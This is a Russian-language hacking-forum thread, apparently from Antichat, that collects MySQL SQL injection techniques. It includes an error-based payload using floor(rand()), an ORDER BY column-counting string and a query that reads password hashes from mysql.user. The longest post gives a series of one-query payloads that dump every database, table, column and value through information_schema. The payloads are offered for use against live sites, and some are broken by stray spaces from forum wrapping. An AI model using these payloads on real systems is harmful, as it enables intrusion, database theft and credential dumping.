
12.10.2013, 19:31
|
|
Новичок
Регистрация: 29.08.2010
Сообщений: 1
С нами:
8265206
Репутация:
0
|
|
Друзья, помогите!
Пытаюсь найти аргументы для товарища, который считает что конструкция безопасна:
PHP код:
[COLOR="#000000"][COLOR="#0000BB"] $data[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$db[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]query_once[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'SELECT id, email FROM users WHERE email="'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]mysql_real_escape_string[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'email'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]60[/COLOR][COLOR="#007700"])) .[/COLOR][COLOR="#DD0000"]'" LIMIT 1'[/COLOR][COLOR="#007700"]);
[/COLOR][/COLOR]
но к сожалению никак не нагуглю обход mysql_real_escape_string
Я хочу сказать, что правильнее было бы параметризировать запрос, но пока я не покажу как обойти эту конструкцию. Потому прошу помощи. Если конечно я не заблуждаюсь.
|
|
|

12.10.2013, 22:31
|
|
Reservists Of Antichat - Level 6
Регистрация: 19.09.2008
Сообщений: 127
С нами:
9285506
Репутация:
1463
|
|
Сообщение от maverick
Друзья, помогите!
Пытаюсь найти аргументы для товарища, который считает что конструкция безопасна:
PHP код:
[COLOR="#000000"][COLOR="#0000BB"] $data[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$db[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]query_once[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'SELECT id, email FROM users WHERE email="'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]mysql_real_escape_string[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'email'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]60[/COLOR][COLOR="#007700"])) .[/COLOR][COLOR="#DD0000"]'" LIMIT 1'[/COLOR][COLOR="#007700"]);
[/COLOR][/COLOR]
но к сожалению никак не нагуглю обход mysql_real_escape_string
Я хочу сказать, что правильнее было бы параметризировать запрос, но пока я не покажу как обойти эту конструкцию. Потому прошу помощи. Если конечно я не заблуждаюсь.
Вполне безопасная конструкция.
|
|
|

04.11.2013, 14:51
|
|
Новичок
Регистрация: 30.10.2013
Сообщений: 1
С нами:
6597686
Репутация:
0
|
|
Народ, имеется инъекция по параметру, который подставляется в LIMIT в запросе. Поскольку LIMIT - самая последняя часть запроса, то не могу скорректировать запрос так, чтобы получить что-то полезное (ни UNION не могу вставить, ничего такого).. Есть вообще возможность из этого LIMITa выдернуть что-то полезное?
|
|
|

04.11.2013, 15:52
|
|
Новичок
Регистрация: 06.04.2009
Сообщений: 2
С нами:
8998242
Репутация:
2
|
|
Сообщение от zeleny_more
Народ, имеется инъекция по параметру, который подставляется в LIMIT в запросе. Поскольку LIMIT - самая последняя часть запроса, то не могу скорректировать запрос так, чтобы получить что-то полезное (ни UNION не могу вставить, ничего такого).. Есть вообще возможность из этого LIMITa выдернуть что-то полезное?
/showpost.php?p=535989&postcount=4
/showthread.php?t=7118 - заголовок "инъекция после limit"
|
|
|

30.01.2014, 02:06
|
|
Новичок
Регистрация: 18.01.2013
Сообщений: 8
С нами:
7008086
Репутация:
0
|
|
(select 1 and row(1,1)>(select count(*),concat(concat(CHAR(52),CHAR(67),CHAR(117) ,CHAR(67),CHAR(110),CHAR(98),CHAR(78),CHAR(52),CHA R(89),CHAR(119),CHAR(69)),floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
|
|
|

21.06.2014, 23:22
|
|
Постоянный
Регистрация: 30.05.2012
Сообщений: 600
С нами:
7343606
Репутация:
652
|
|
|
|
|

01.09.2014, 16:24
|
|
Постоянный
Регистрация: 22.11.2010
Сообщений: 545
С нами:
8142806
Репутация:
324
|
|
Хочу добавить про подбор колонок в 1 запрос.
В случае если sqli выводит ошибки и пэйлоад вида
выдаст нам ошибку
Код:
Query failed: Unknown column '100' in 'order clause'
То сразу смело вставляем такой пэйлоад
Код:
+order+by+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70+--+
В ответ получим
Код:
Query failed: Unknown column '*' in 'order clause'
Где '*'-1='колличество наших колонок'.
|
|
|

23.03.2015, 12:26
|
|
Постоянный
Регистрация: 30.05.2012
Сообщений: 600
С нами:
7343606
Репутация:
652
|
|
Новый ветор вывода через ошибку в MySQL >= 5.7.5
Вывод производится через функции ST_LatFromGeoHash(), ST_LongFromGeoHash(), ST_PointFromGeoHash().
Подробнее
|
|
|

31.03.2015, 17:43
|
|
Banned
Регистрация: 21.11.2007
Сообщений: 181
С нами:
9721141
Репутация:
1013
|
|
начиная с версии MySQL 5.7 колонка password в бд mysql переименована в authentication_string.
Код:
SELECT user, authentication_string FROM mysql.user;
|
|
|

02.04.2015, 14:45
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
С нами:
9000386
Репутация:
1148
|
|
Товарищ profexer сделал очень крутую вещь - ускоритель MySQL.
Вывод данных в один запрос:
SELECT MID(CONCAT(@p:=0x20,(SELECT COUNT(*) FROM {TABLE} WHERE @p:=CONCAT(@p,0x2C,{COLUMNS})),@p),5)
Хотелось бы сразу получить одним запросом абсолютно всю структуру и уже далее тащить данные, а сделать можно это так(я сделал пример без пробелов!). Если есть предположения, что бд очень много, то сразу можно использовать пример ниже.
Список абсолютно всех бд, таблиц, колонок одним запросом(без пробелов!)
SELECT(MID(CONCAT(@p:=0x20,(SELECT(COUNT(*))FROM(i nformation_schema.columns)WHERE@p:=CONCAT(@p,0x0D0 A ,table_schema,0x3a,table_name,0x3a,column_name)),@ p),5))
0x0D0A -> перевод строки, смотреть в "Исходный код страницы"
Если желаете, то можете заменить на 0x2C -> Запятая или другой удобной вид, но в данном случае, как мне кажется, структуру любой бд с скули наглядно сразу не будет видно.
Ну далее частные случаи:
Список бд(без пробелов!)
SELECT(MID(CONCAT(@p:=0x20,(SELECT(COUNT(*))FROM(i nformation_schema.schemata)WHERE@p:=CONCAT(@p,0x2C ,schema_name)),@p),5))
Список всех бд, таблиц(без пробелов!)
SELECT(MID(CONCAT(@p:=0x20,(SELECT(COUNT(*))FROM(i nformation_schema.tables)WHERE@p:=CONCAT(@p,0x0D0A ,table_schema,0x3a,table_name)),@p),5))
Список всех таблиц, колонок текущей бд(без пробелов!)
SELECT(MID(CONCAT(@p:=0x20,(SELECT(COUNT(*))FROM(( select*from(information_schema.columns)where(table _schema=database()))x)WHERE@p:=CONCAT(@p,0x0D0A ,table_schema,0x3a,table_name,0x3a,column_name)),@ p),5))
Список таблиц текущей бд(без пробелов!)
SELECT(MID(CONCAT(@p:=0x20,(SELECT(COUNT(*))FROM(( select*from(information_schema.tables)where(table_ schema=database()))x)WHERE@p:=CONCAT(@p,0x2C,table _name)),@p),5))
Список колонок таблицы users(без пробелов!)
SELECT(MID(CONCAT(@p:=0x20,(SELECT(COUNT(*))FROM(( select*from(information_schema.columns)where(table _name=0x7573657273))x)WHERE@p:=CONCAT(@p,0x2C,colu mn_name)),@p),5))
ps помните, таблица users и в другой бд может быть, тогда добавить условие в where
И напоследок значения с колонок(без пробелов!)
SELECT(MID(CONCAT(@p:=0x20,(SELECT(COUNT(*))FROM({ TABLE})WHERE@p:=CONCAT(@p,0x0D0A,{COLUMN1},0x3a,{C OLUMN2})),@p),5))
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|